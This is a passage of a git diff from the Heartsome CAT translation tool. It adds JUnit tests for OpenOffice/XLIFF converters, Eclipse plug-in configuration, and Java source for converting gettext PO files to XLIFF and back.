assertNotNull(xlfFile); + // assertTrue(xlfFile.exists()); + // } + + @Test + public void testConvertODS() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODSFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODSFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODSFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertODT() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertODG() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODGFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODGFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODGFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/testSrc/net/heartsome/cat/converter/openoffice/test/Xliff2OpenOfficeTest.java b/hsconverter/net.heartsome.cat.converter.openoffice/testSrc/net/heartsome/cat/converter/openoffice/test/Xliff2OpenOfficeTest.java new file mode 100644 index 0000000..3c0f97e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/testSrc/net/heartsome/cat/converter/openoffice/test/Xliff2OpenOfficeTest.java @@ -0,0 +1,110 @@ +package net.heartsome.cat.converter.openoffice.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.openoffice.Xliff2OpenOffice; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class Xliff2OpenOfficeTest { + public static Xliff2OpenOffice converter = new Xliff2OpenOffice(); + private String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String xlfODTFile = "rc/Test.odt.xlf"; + private static String sklODTFile = "rc/Test.odt.skl"; + private static String tgtODTFile = "rc/Test_en-US.odt"; + + private static String xlfODSFile = "rc/Test.ods.xlf"; + private static String sklODSFile = "rc/Test.ods.skl"; + private static String tgtODSFile = "rc/Test_en-US.ods"; + + private static String xlfODGFile = "rc/Test.odg.xlf"; + private static String sklODGFile = "rc/Test.odg.skl"; + private static String tgtODGFile = "rc/Test_en-US.odg"; + + @BeforeClass + public static void setUp() { + File tgt = new File(tgtODSFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtODTFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtODGFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvertODS() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtODSFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfODSFile); + args.put(Converter.ATTR_SKELETON_FILE, sklODSFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertODT() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtODTFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertODG() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtODGFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfODGFile); + args.put(Converter.ATTR_SKELETON_FILE, sklODGFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.po/.classpath b/hsconverter/net.heartsome.cat.converter.po/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.po/.project b/hsconverter/net.heartsome.cat.converter.po/.project new file mode 100644 index 0000000..c6b27d7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.po + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.po/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.po/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..76f4ed9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:12:56 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.po/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.po/META-INF/MANIFEST.MF new file mode 100644 index 0000000..89e3c5a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter PO +Bundle-SymbolicName: net.heartsome.cat.converter.po +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.po.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.po/build.properties b/hsconverter/net.heartsome.cat.converter.po/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Activator.java b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Activator.java new file mode 100644 index 0000000..18c22b0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Activator.java @@ -0,0 +1,97 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.po; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.po"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The po2 xliff sr. */ + private ServiceRegistration po2XliffSR; + + /** The xliff2 po sr. */ + private ServiceRegistration xliff2PoSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the converter services + Converter po2Xliff = new Po2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Po2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Po2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Po2Xliff.TYPE_NAME_VALUE); + po2XliffSR = ConverterRegister.registerPositiveConverter(context, po2Xliff, properties); + + Converter xliff2Po = new Xliff2Po(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Po.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Po.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Po.TYPE_NAME_VALUE); + xliff2PoSR = ConverterRegister.registerReverseConverter(context, xliff2Po, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (po2XliffSR != null) { + po2XliffSR.unregister(); + } + if (xliff2PoSR != null) { + xliff2PoSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Po2Xliff.java b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Po2Xliff.java new file mode 100644 index 0000000..d7fedb3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Po2Xliff.java @@ -0,0 +1,535 @@ +/** + * Po2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.po; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.po.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + * The Class Po2Xliff. + * @author John Zhu + */ +public class Po2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "po"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("po.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "PO to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Po2XliffImpl converter = new Po2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Po2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Po2XliffImpl { + + /** The input. */ + private InputStreamReader input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The buffer. */ + private BufferedReader buffer; + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source. */ + private String source; + + /** The target. */ + private String target; + + /** The comment. */ + private String comment; + + /** The context. */ + private String context; + + /** The reference. */ + private String reference; + + /** The flags. */ + private String flags; + + /** The fuzzy. */ + private boolean fuzzy; + + /** The cformat. */ + private boolean cformat; + + /** The in domain. */ + private boolean inDomain; + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The seg id. */ + private int segId; + + /** The domain id. */ + private int domainId; + + /** The context id. */ + private int contextId = 1; + + /** The ref id. */ + private int refId = 1; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + String srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + boolean isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + String qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + source = ""; //$NON-NLS-1$ + target = ""; //$NON-NLS-1$ + comment = ""; //$NON-NLS-1$ + context = ""; //$NON-NLS-1$ + reference = ""; //$NON-NLS-1$ + flags = ""; //$NON-NLS-1$ + fuzzy = false; + inDomain = false; + cformat = false; + + try { + // 计算总任务数 + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(inputFile); + monitor.beginTask(Messages.getString("po.Po2Xliff.task1"), cpb.getTotalTask()); + monitor.subTask(""); + + FileInputStream stream = new FileInputStream(inputFile); + input = new InputStreamReader(stream, srcEncoding); + buffer = new BufferedReader(input); + output = new FileOutputStream(xliffFile); + + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeString("\n"); //$NON-NLS-1$ + } else { + writeString("\n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" \n" + //$NON-NLS-1$ + " " //$NON-NLS-1$ + + srcEncoding + "\n" //$NON-NLS-1$ + + " \n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + + skeleton = new FileOutputStream(skeletonFile); + + String line = buffer.readLine(); + cpb.calculateProcessed(monitor, line, srcEncoding); + while (line != null) { + line = line + "\n"; //$NON-NLS-1$ + + if (line.trim().length() == 0) { + // no text in this line + // segment separator + writeSkeleton(line); + } else { + if (line.startsWith("#:")) { //$NON-NLS-1$ + // it is a reference + if (reference.equals("")) { //$NON-NLS-1$ + reference = line.substring(2); + } else { + reference = reference + " " + line.substring(2); //$NON-NLS-1$ + } + } + if (line.startsWith("# ")) { //$NON-NLS-1$ + // translator comment + comment = comment + line.substring(2); + } + if (line.trim().equals("#")) { //$NON-NLS-1$ + comment = comment + "\n"; //$NON-NLS-1$ + } + if (line.startsWith("#.")) { //$NON-NLS-1$ + // automatic comment + context = context + line.substring(2); + } + if (line.startsWith("#,")) { //$NON-NLS-1$ + flags = line.substring(2); + // check for fuzzy + if (flags.indexOf("fuzzy") != -1) { //$NON-NLS-1$ + fuzzy = true; + } + // Only c-format is parsed. Tags from other + // formats, like php-format or python-format, + // are left as part of the text + if (flags.indexOf("c-format") != -1 //$NON-NLS-1$ + && flags.indexOf("no-c-format") == -1) { //$NON-NLS-1$ + cformat = true; + } + } + if (line.startsWith("#~")) { //$NON-NLS-1$ + // commented entry + writeSkeleton(line); + } + if (line.startsWith("msgid")) { //$NON-NLS-1$ + // get source text + line = line.substring(5); + source = line.substring(line.indexOf("\"") + 1, //$NON-NLS-1$ + line.lastIndexOf("\"")); //$NON-NLS-1$ + line = buffer.readLine(); + cpb.calculateProcessed(monitor, line, srcEncoding); + while (line.startsWith("\"")) { //$NON-NLS-1$ + source = source + "\n" //$NON-NLS-1$ + + line.substring(line.indexOf("\"") + 1, //$NON-NLS-1$ + line.lastIndexOf("\"")); //$NON-NLS-1$ + line = buffer.readLine(); + cpb.calculateProcessed(monitor, line, srcEncoding); + } + continue; + } + if (line.startsWith("msgstr")) { //$NON-NLS-1$ + // get the target + line = line.substring(6); + target = line.substring(line.indexOf("\"") + 1, //$NON-NLS-1$ + line.lastIndexOf("\"")); //$NON-NLS-1$ + line = buffer.readLine(); + cpb.calculateProcessed(monitor, line, srcEncoding); + while (line != null && line.startsWith("\"")) { //$NON-NLS-1$ + target = target + "\n" //$NON-NLS-1$ + + line.substring(line.indexOf("\"") + 1, //$NON-NLS-1$ + line.lastIndexOf("\"")); //$NON-NLS-1$ + line = buffer.readLine(); + cpb.calculateProcessed(monitor, line, srcEncoding); + if (line == null) { + line = ""; //$NON-NLS-1$ + } + } + writeSegment(); + continue; + } + if (line.startsWith("domain")) { //$NON-NLS-1$ + if (inDomain) { + writeString(" \n"); //$NON-NLS-1$ + } + inDomain = true; + writeString(" \n"); //$NON-NLS-1$ + writeSkeleton(line); + } + } + + line = buffer.readLine(); + cpb.calculateProcessed(monitor, line, srcEncoding); + } + + skeleton.close(); + + if (inDomain) { + writeString(" \n"); //$NON-NLS-1$ + } + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + input.close(); + output.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("po.Po2Xliff.msg1"), e); + } finally { + monitor.done(); + } + + return result; + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write segment. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSegment() throws IOException { + String approved = "no"; //$NON-NLS-1$ + if (!fuzzy && target.trim().length() > 0) { + approved = "yes"; //$NON-NLS-1$ + } + String restype = ""; //$NON-NLS-1$ + if (source.trim().equals("")) { //$NON-NLS-1$ + restype = " restype=\"x-gettext-domain-header\" "; //$NON-NLS-1$ + } + writeString(" \n"); //$NON-NLS-1$ + if (cformat) { + writeString(" " //$NON-NLS-1$ + + parseString(TextUtil.cleanString(source)) + "\n"); //$NON-NLS-1$ + if (target.length() > 0 || approved.equals("yes")) { //$NON-NLS-1$ + writeString(" " //$NON-NLS-1$ + + parseString(TextUtil.cleanString(target)) + "\n"); //$NON-NLS-1$ + } + } else { + if (source.trim().equals("")) { //$NON-NLS-1$ + source = target; + } + writeString(" " //$NON-NLS-1$ + + TextUtil.cleanString(source) + "\n"); //$NON-NLS-1$ + if (target.length() > 0 || approved.equals("yes")) { //$NON-NLS-1$ + writeString(" " //$NON-NLS-1$ + + TextUtil.cleanString(target) + "\n"); //$NON-NLS-1$ + } + } + if (!comment.equals("")) { //$NON-NLS-1$ + writeString(" " //$NON-NLS-1$ + + TextUtil.cleanString(comment) + "\n"); //$NON-NLS-1$ + } + if (!context.equals("")) { //$NON-NLS-1$ + writeString(" \n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ + + TextUtil.cleanString(context) + "\n" //$NON-NLS-1$ + + " \n"); //$NON-NLS-1$ + } + if (!reference.equals("")) { //$NON-NLS-1$ + parseReference(TextUtil.cleanString(reference)); + } + if (!flags.equals("")) { //$NON-NLS-1$ + writeString(" \n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ + + TextUtil.cleanString(flags).trim() + "\n" //$NON-NLS-1$ + + " \n"); //$NON-NLS-1$ + } + writeString(" \n"); //$NON-NLS-1$ + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + + source = ""; //$NON-NLS-1$ + target = ""; //$NON-NLS-1$ + comment = ""; //$NON-NLS-1$ + context = ""; //$NON-NLS-1$ + reference = ""; //$NON-NLS-1$ + flags = ""; //$NON-NLS-1$ + fuzzy = false; + cformat = false; + } + + /** + * Parses the reference. + * @param ref + * the ref + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseReference(String ref) throws IOException { + if (ref.trim().equals("")) { //$NON-NLS-1$ + return; + } + + // fixed bug 425 by john. added context element to context-group + // element. + String[] refs = ref.trim().split("#:"); //$NON-NLS-1$ + for (int i = 0, size = refs.length; i < size; i++) { + writeString(" \n"); //$NON-NLS-1$ + String token = refs[i]; + if (token.indexOf(":") != -1) { //$NON-NLS-1$ + writeString(" " //$NON-NLS-1$ + + token.substring(0, token.indexOf(":")) //$NON-NLS-1$ + + "\n"); //$NON-NLS-1$ + writeString(" " //$NON-NLS-1$ + + token.substring(token.indexOf(":") + 1) //$NON-NLS-1$ + + "\n"); //$NON-NLS-1$ + } else { + writeString(" " + token //$NON-NLS-1$ + + "\n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + } + writeString(" \n"); //$NON-NLS-1$ + } + refs = null; + } + } + + /** + * Parses the string. + * @param string + * the string + * @return the string + */ + private static String parseString(String string) { + // Valid c format especifications must end + // with one of diouxXfeEgGcs + + int id = 1; + int index = string.indexOf("%"); //$NON-NLS-1$ + if (index == -1) { + return string; + } + if (string.charAt(index + 1) == '%') { + index = string.indexOf("%", index + 2); //$NON-NLS-1$ + } + String result = ""; //$NON-NLS-1$ + while (index != -1) { + result = result + string.substring(0, index) + ""; //$NON-NLS-1$ //$NON-NLS-2$ + int i = index; + char c = string.charAt(i++); + while (i < string.length() && "diouxXfeEgGcs".indexOf(c) == -1) { //$NON-NLS-1$ + result = result + c; + c = string.charAt(i++); + } + result = result + c + ""; //$NON-NLS-1$ + string = string.substring(i); + index = string.indexOf("%"); //$NON-NLS-1$ + if (index != -1 && index < string.length() && string.charAt(index + 1) == '%') { + index = string.indexOf("%", index + 2); //$NON-NLS-1$ + } + } + result = result + string; + return result; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Xliff2Po.java b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Xliff2Po.java new file mode 100644 index 0000000..9dcedd9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/Xliff2Po.java @@ -0,0 +1,511 @@ +/** + * Xliff2Po.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.po; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.StringTokenizer; +import java.util.Vector; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.po.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Po. + * @author John Zhu + */ +public class Xliff2Po implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "po"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("po.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to PO Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2PoImpl converter = new Xliff2PoImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2PoImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2PoImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The line. */ + private String line; + + /** The segments. */ + private Hashtable segments; + + /** The output. */ + private FileOutputStream output; + + /** The encoding. */ + private String encoding; + + private boolean isPreviewMode; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + isPreviewMode = 